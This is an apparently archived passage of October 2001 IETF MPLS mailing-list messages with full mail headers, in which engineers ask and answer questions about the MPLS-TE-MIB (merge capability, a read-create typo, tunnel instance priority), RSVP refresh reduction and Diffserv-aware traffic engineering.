Content-Type: text/plain; charset="us-ascii"; format=flowed

At 10:50 AM 10/22/2001 +0530, Gopinath G - CTD, Chennai. wrote:
>Hi
>
>     I have a question regarding merging ...
>
>Meging and Nonmerging concept is for the LSR or it is applicable for each
>entity ?
>
>If it is applicable for the LSR , then which object in MIB specifies whether
>the LSR is merge capable or not ?

         See mplsTunnelSessionAttributes object in the MPLS-TE-MIB,
and specifically the mergingPermitted (1) bit field.

         --Tom



>Thanks In Advance
>gopinathg
>
>
>***********************************************************************
>Disclaimer:
>This document is intended for transmission to the named recipient only.  If
>you are not that person, you should note that legal rights reside in this
>document and you are not authorized to access, read, disclose, copy, use or
>otherwise deal with it and any such actions are prohibited and may be
>unlawful. The views expressed in this document are not necessarily those of
>HCL Technologies Ltd. Notice is hereby given that no representation,
>contract or other binding obligation shall be created by this e-mail, which
>must be interpreted accordingly. Any representations, contractual rights or
>obligations shall be separately communicated in writing and signed in the
>original by a duly authorized officer of the relevant company.
>***********************************************************************



------------------------------------------------------------------------
Mathematics is the supreme nostalgia of our time. 
--=====================_1118207==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
<font size=3>At 10:50 AM 10/22/2001 +0530, Gopinath G - CTD, Chennai.
wrote:<br>
<blockquote type=cite cite>Hi<br>
<br>
&nbsp;&nbsp;&nbsp; I have a question regarding merging ...&nbsp; <br>
<br>
Meging and Nonmerging concept is for the LSR or it is applicable for
each<br>
entity ?<br>
<br>
If it is applicable for the LSR , then which object in MIB specifies
whether<br>
the LSR is merge capable or not ?</font></blockquote><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>See
mplsTunnelSessionAttributes object in the MPLS-TE-MIB,<br>
and specifically the mergingPermitted (1) bit field. <br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>--Tom<br>
<br>
<br>
<br>
<blockquote type=cite cite><font size=3>Thanks In Advance<br>
gopinathg<br>
<br>
<br>
***********************************************************************<br>
Disclaimer: <br>
This document is intended for transmission to the named recipient
only.&nbsp; If<br>
you are not that person, you should note that legal rights reside in
this<br>
document and you are not authorized to access, read, disclose, copy, use
or<br>
otherwise deal with it and any such actions are prohibited and may
be<br>
unlawful. The views expressed in this document are not necessarily those
of<br>
HCL Technologies Ltd. Notice is hereby given that no 
representation,<br>
contract or other binding obligation shall be created by this e-mail,
which<br>
must be interpreted accordingly. Any representations, contractual rights
or<br>
obligations shall be separately communicated in writing and signed in
the<br>
original by a duly authorized officer of the relevant company.<br>
***********************************************************************</font></blockquote><br>
<br>
<br>
<div>------------------------------------------------------------------------</div>
Mathematics is the supreme nostalgia of our time. 
</html>

--=====================_1118207==_.ALT--



From owner-mpls@UU.NET  Mon Oct 22 09:39:50 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA16604
	for <mpls-archive@lists.ietf.org>; Mon, 22 Oct 2001 09:39:50 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllvq20685;
	Mon, 22 Oct 2001 13:32:56 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllvq07408
	for mpls-outgoing; Mon, 22 Oct 2001 13:32:42 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQllvq07394
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 22 Oct 2001 13:32:40 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQllvq02004
	for <mpls@uu.net>; Mon, 22 Oct 2001 13:31:06 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQllvq16629
	for <mpls@uu.net>; Mon, 22 Oct 2001 13:30:53 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id JAA04466 for <mpls@uu.net>; Mon, 22 Oct 2001 09:31:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id JAA03901 for mpls@uu.net; Mon, 22 Oct 2001 09:31:01 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQllvq07209
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 22 Oct 2001 13:30:28 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQllvp26063
	for <mpls@UU.NET>; Mon, 22 Oct 2001 13:29:39 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQllvp14223
	for <mpls@UU.NET>; Mon, 22 Oct 2001 13:29:30 GMT
Received: from bucket.cisco.com (mirapoint@bucket.cisco.com [161.44.167.72]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id JAA04303; Mon, 22 Oct 2001 09:29:29 -0400 (EDT)
Received: from tnadeau-w2k.cisco.com (tnadeau-frame5.cisco.com [10.83.99.126])
	by bucket.cisco.com (Mirapoint)
	with ESMTP id ABA32953;
	Mon, 22 Oct 2001 09:29:19 -0400 (EDT)
Message-Id: <4.3.2.7.2.20011022092956.01a602b0@bucket.cisco.com>
X-Sender: tnadeau@bucket.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Mon, 22 Oct 2001 09:30:20 -0400
To: "Ashwin C. Prabhu" <Ashwinp@in.huawei.com>
From: Thomas Nadeau <tnadeau@cisco.com>
Subject: Re: Doubt in draft-ietf-mpls-te-mib-07.txt 
Cc: mpls@UU.NET, mpls-ops@mplsrc.com
In-Reply-To: <751B6DD7A243D511AB9F0002557C5687013D1D4A@HUAWEIMAIL>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_1316963==_.ALT"
Sender: owner-mpls@UU.NET
Precedence: bulk

--=====================_1316963==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed




>    In  draft-ietf-mpls-te-mib-07.txt mplsTunnelTotalUpTime & 
> mplsTunnelInstanceUpTime are read-create ?
>    shouldn't this be read-only ?

         Yes. This is a typo that has been pointed out several times, and will
be corrected in the next revision.  Thanks.

         --Tom



>Ashwin
>
>mplsTunnelTotalUpTime OBJECT-TYPE
>    SYNTAX        TimeTicks
>    MAX-ACCESS    read-create
>    STATUS        current
>    DESCRIPTION
>         "This value represents the aggregate up time for all
>           instances of this tunnel, if available. If this
>           value is unavailable, it MUST return a value of 0."
>       ::= { mplsTunnelEntry 32 }
>
>mplsTunnelInstanceUpTime OBJECT-TYPE
>    SYNTAX        TimeTicks
>    MAX-ACCESS    read-create
>    STATUS        current
>    DESCRIPTION
>         "This value identifies the total time that this
>           tunnel instance's operStatus has been Up(1)."
>       ::= { mplsTunnelEntry 33 }



------------------------------------------------------------------------
Mathematics is the supreme nostalgia of our time. 
--=====================_1316963==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
<font size=3><br>
<br>
<br>
</font><blockquote type=cite cite><font face="Arial, Helvetica" size=2>&nbsp;&nbsp;
In&nbsp; draft-ietf-mpls-te-mib-07.txt mplsTunnelTotalUpTime &amp;
mplsTunnelInstanceUpTime are read-create ?</font><font size=3> <br>
</font><font face="Arial, Helvetica" size=2>&nbsp;&nbsp; shouldn't this
be read-only ?</font><font size=3> </font></blockquote><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Yes. This
is a typo that has been pointed out several times, and will<br>
be corrected in the next revision.&nbsp; Thanks.<br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>--Tom<br>
<br>
<br>
<br>
<blockquote type=cite cite><font face="Arial, Helvetica" size=2>Ashwin</font><font size=3>
<br>
<br>
</font><font face="Arial, Helvetica" size=2>mplsTunnelTotalUpTime OBJECT-TYPE</font><font size=3> <br>
</font><font face="Arial, Helvetica" size=2>&nbsp;&nbsp; SYNTAX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TimeTicks</font><font size=3> <br>
</font><font face="Arial, Helvetica" size=2>&nbsp;&nbsp; MAX-ACCESS&nbsp;&nbsp;&nbsp; read-create</font><font size=3> <br>
</font><font face="Arial, Helvetica" size=2>&nbsp;&nbsp; STATUS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; current</font><font size=3> <br>
</font><font face="Arial, Helvetica" size=2>&nbsp;&nbsp; DESCRIPTION</font><font size=3> <br>
</font><font face="Arial, Helvetica" size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;This value represents the aggregate up time for all</font><font size=3> <br>
</font><font face="Arial, Helvetica" size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; instances of this tunnel, if available. If this</font><font size=3> <br>
</font><font face="Arial, Helvetica" size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; value is unavailable, it MUST return a value of 0.&quot;</font><font size=3> <br>
</font><font face="Arial, Helvetica" size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ::= { mplsTunnelEntry 32 }</font><font size=3> <br>
<br>
</font><font face="Arial, Helvetica" size=2>mplsTunnelInstanceUpTime OBJECT-TYPE</font><font size=3> <br>
</font><font face="Arial, Helvetica" size=2>&nbsp;&nbsp; SYNTAX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TimeTicks</font><font size=3> <br>
</font><font face="Arial, Helvetica" size=2>&nbsp;&nbsp; MAX-ACCESS&nbsp;&nbsp;&nbsp; read-create</font><font size=3> <br>
</font><font face="Arial, Helvetica" size=2>&nbsp;&nbsp; STATUS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; current</font><font size=3> <br>
</font><font face="Arial, Helvetica" size=2>&nbsp;&nbsp; DESCRIPTION</font><font size=3> <br>
</font><font face="Arial, Helvetica" size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;This value identifies the total time that this</font><font size=3> <br>
</font><font face="Arial, Helvetica" size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; tunnel instance's operStatus has been Up(1).&quot;</font><font size=3> <br>
</font><font face="Arial, Helvetica" size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ::= { mplsTunnelEntry 33 }</font><font size=3> <br>
</font></blockquote><br>
<br>
<br>
<div>------------------------------------------------------------------------</div>
Mathematics is the supreme nostalgia of our time. 
</html>

--=====================_1316963==_.ALT--



From owner-mpls@UU.NET  Mon Oct 22 09:56:28 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA17031
	for <mpls-archive@lists.ietf.org>; Mon, 22 Oct 2001 09:56:28 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllvr23582;
	Mon, 22 Oct 2001 13:55:02 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllvr09380
	for mpls-outgoing; Mon, 22 Oct 2001 13:54:22 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQllvr09369
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 22 Oct 2001 13:54:17 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQllvr08796
	for <mpls@uu.net>; Mon, 22 Oct 2001 13:54:03 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQllvr28060
	for <mpls@uu.net>; Mon, 22 Oct 2001 13:53:53 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id JAA07328 for <mpls@uu.net>; Mon, 22 Oct 2001 09:54:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id JAA05510 for mpls@uu.net; Mon, 22 Oct 2001 09:54:02 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQllvk22975
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 22 Oct 2001 12:00:32 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQllvk28001
	for <mpls@UU.NET>; Mon, 22 Oct 2001 12:00:13 GMT
Received: from hotmail.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: f4.law9.hotmail.com [64.4.9.4])
	id QQllvk09379
	for <mpls@UU.NET>; Mon, 22 Oct 2001 12:00:31 GMT
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Mon, 22 Oct 2001 05:00:12 -0700
Received: from 24.37.73.99 by lw9fd.law9.hotmail.msn.com with HTTP;
	Mon, 22 Oct 2001 12:00:12 GMT
X-Originating-IP: [24.37.73.99]
From: "vamsi chemitiganti" <mplsgroup@hotmail.com>
To: mpls@UU.NET, mpls-ops@mplsrc.com
Subject: soft state reductions to RSVP as applied to GMPLS
Date: Mon, 22 Oct 2001 08:00:12 -0400
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F4DqaJY4kJSFsxf4yp800000043@hotmail.com>
X-OriginalArrivalTime: 22 Oct 2001 12:00:12.0575 (UTC) FILETIME=[1AC3EAF0:01C15AF1]
Sender: owner-mpls@UU.NET
Precedence: bulk

HI list,
Can anyone send me some information on soft state reductions to the RSVP 
Protocol like Message Id's,Notify (or) the draft in which these extensions 
have been proposed.
Thank you.
     -- Vamsi

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp



From owner-mpls@UU.NET  Mon Oct 22 10:10:24 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA17381
	for <mpls-archive@lists.ietf.org>; Mon, 22 Oct 2001 10:10:24 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllvs25304;
	Mon, 22 Oct 2001 14:07:29 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllvs29148
	for mpls-outgoing; Mon, 22 Oct 2001 14:06:50 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQllvs29131
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 22 Oct 2001 14:06:45 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQllvs18542
	for <mpls@uu.net>; Mon, 22 Oct 2001 14:06:02 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQllvs19400
	for <mpls@uu.net>; Mon, 22 Oct 2001 14:05:52 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id KAA08966 for <mpls@uu.net>; Mon, 22 Oct 2001 10:06:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id KAA06398 for mpls@uu.net; Mon, 22 Oct 2001 10:06:01 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQllvs21856
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 22 Oct 2001 14:05:23 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQllvs25331
	for <mpls@UU.NET>; Mon, 22 Oct 2001 14:05:05 GMT
Received: from cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: uzura.cisco.com [64.102.17.77])
	id QQllvs17680
	for <mpls@UU.NET>; Mon, 22 Oct 2001 14:04:56 GMT
Received: from ASIMHA-W2K.cisco.com (dhcp-64-102-48-149.cisco.com [64.102.48.149])
	by cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with ESMTP id KAA25180;
	Mon, 22 Oct 2001 10:05:03 -0400 (EDT)
Date: Mon, 22 Oct 2001 10:04:15 -0400 (Eastern Daylight Time)
From: Ajay Simha <asimha@cisco.com>
To: vamsi chemitiganti <mplsgroup@hotmail.com>
cc: mpls@UU.NET, <mpls-ops@mplsrc.com>
Subject: Re: soft state reductions to RSVP as applied to GMPLS
In-Reply-To: <F4DqaJY4kJSFsxf4yp800000043@hotmail.com>
Message-ID: <Pine.WNT.4.40.0110221004010.296-100000@ASIMHA-W2K.cisco.com>
X-X-Sender: asimha@uzura.cisco.com
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

On Mon, 22 Oct 2001, vamsi chemitiganti wrote:

vc>HI list,
vc>Can anyone send me some information on soft state reductions to the RSVP
vc>Protocol like Message Id's,Notify (or) the draft in which these extensions
vc>have been proposed.

could you be looking for:

RSVP Refresh Overhead Reduction Extensions - RFC 2961?

-ajay
vc>Thank you.
vc>     -- Vamsi
vc>
vc>_________________________________________________________________
vc>Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp
vc>

-- 
Ajay Simha
MPLS Deployment Engineer
IOS Technology Division
(919) 392-3141

When in despair I remember that all through
history the way of truth and love has always won;
there have been tyrants and murderers, and for a
time they can seem invincible, but in the end they
always fall.

 - Mahatma Gandhi



From owner-mpls@UU.NET  Mon Oct 22 10:14:35 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA17550
	for <mpls-archive@lists.ietf.org>; Mon, 22 Oct 2001 10:14:35 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllvs02402;
	Mon, 22 Oct 2001 14:11:22 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllvs00035
	for mpls-outgoing; Mon, 22 Oct 2001 14:10:40 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQllvs00024
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 22 Oct 2001 14:10:37 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQllvs13347
	for <mpls@uu.net>; Mon, 22 Oct 2001 14:09:22 GMT
Received: from infres.enst.fr by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: infres-192.enst.fr [137.194.192.1])
	id QQllvs25472
	for <mpls@uu.net>; Mon, 22 Oct 2001 14:09:12 GMT
Received: from camus (camus.enst.fr [137.194.162.15])
	by infres.enst.fr (Postfix) with SMTP id 152B618BA
	for <mpls@uu.net>; Mon, 22 Oct 2001 16:09:21 +0200 (MEST)
Message-ID: <00b401c15b03$3d388bb0$0fa2c289@camus>
From: "Sergio Beker" <beker@inf.enst.fr>
To: <mpls@UU.NET>
Subject: Diffserv-Aware Traffic Engineering
Date: Mon, 22 Oct 2001 16:10:00 +0200
Organization: ENST
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hello,
In draft-ietf-tewg-diff-te-reqts-01, the Scenario 1 states:

For delay/jitter reasons it is undesirable to carry more than a
   certain percentage of EF traffic on any link. The rest of the
   available link bandwidth can be used to route other classes
   corresponding to delay/jitter insensitive traffic (e.g. Best Effort
   Internet traffic). The exact determination of this percentage is
   outside the scope of this requirements draft.

Could any one point me out to any paper dealing with the optimal proportion
of EF and AF/BE on any link, if it exists?

Also, If voice is being coded using variable bit rate coders, couldn't be
voice traffic be marked to use AF classes instead of EF class? In that case,
I think it would be more appropriate to describe the scenario as High
Proportion of Delay/Jitter Sensitive Traffic instead of voice traffic, to
avoid further discussions and to achieve generalisation.

Thanks in advance.

Sergio Beker



From owner-mpls@UU.NET  Mon Oct 22 10:55:58 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA19159
	for <mpls-archive@lists.ietf.org>; Mon, 22 Oct 2001 10:55:58 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllvv08505;
	Mon, 22 Oct 2001 14:49:24 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllvv03921
	for mpls-outgoing; Mon, 22 Oct 2001 14:49:17 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQllvv03861
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 22 Oct 2001 14:49:04 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQllvv27202
	for <mpls@UU.NET>; Mon, 22 Oct 2001 14:48:55 GMT
Received: from huaweimail.in.huawei.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [203.197.168.164])
	id QQllvv07015
	for <mpls@UU.NET>; Mon, 22 Oct 2001 14:48:37 GMT
Received: by HUAWEIMAIL with Internet Mail Service (5.5.2653.19)
	id <48ZLGYTF>; Mon, 22 Oct 2001 19:05:21 +0530
Message-ID: <751B6DD7A243D511AB9F0002557C56870146028F@HUAWEIMAIL>
From: "Ashwin C. Prabhu" <Ashwinp@in.huawei.com>
To: mpls@UU.NET, mpls-ops@mplsrc.com
Subject:  Doubt in draft-ietf-mpls-te-mib-07.txt 
Date: Mon, 22 Oct 2001 19:05:21 +0530
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C15AFE.65669820"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C15AFE.65669820
Content-Type: text/plain;
	charset="iso-8859-1"

Dear All
 
 How to configure that this tunnel instance is primary, secondary in the 
 Tunnel Table ?
 
 Is it assumed that the one with the highest instance priority is the
primary ?
 
Please get on the same if anybody know it.
 
Thanks in Advance
Ashwin
 
 

------_=_NextPart_001_01C15AFE.65669820
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<TITLE>Doubt in draft-ietf-mpls-te-mib-07.txt</TITLE>

<META content="MSHTML 5.00.3103.1000" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=952230202-23102001>Dear 
All</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=952230202-23102001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=952230202-23102001>&nbsp;How to configure that this tunnel instance is 
primary, secondary in the </SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=952230202-23102001>&nbsp;Tunnel Table ?</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=952230202-23102001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=952230202-23102001>&nbsp;Is it assumed that the one with the highest 
instance priority is the primary ?</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=952230202-23102001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=952230202-23102001>Please 
get on the same if anybody know it.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=952230202-23102001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=952230202-23102001>Thanks 
in Advance</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=952230202-23102001>Ashwin</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=952230202-23102001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=952230202-23102001></SPAN></FONT>&nbsp;</DIV></BODY></HTML>

------_=_NextPart_001_01C15AFE.65669820--


From owner-mpls@UU.NET  Mon Oct 22 10:58:24 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA19192
	for <mpls-archive@lists.ietf.org>; Mon, 22 Oct 2001 10:58:24 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllvv06419;
	Mon, 22 Oct 2001 14:50:04 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllvv03924
	for mpls-outgoing; Mon, 22 Oct 2001 14:49:18 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQllvv03864
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 22 Oct 2001 14:49:05 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQllvv27841
	for <mpls@uu.net>; Mon, 22 Oct 2001 14:49:03 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQllvv05235
	for <mpls@uu.net>; Mon, 22 Oct 2001 14:49:21 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id KAA15902 for <mpls@uu.net>; Mon, 22 Oct 2001 10:49:03 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id KAA08787 for mpls@uu.net; Mon, 22 Oct 2001 10:49:03 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQllvv03819
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 22 Oct 2001 14:48:08 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQllvv17386
	for <mpls@UU.NET>; Mon, 22 Oct 2001 14:46:35 GMT
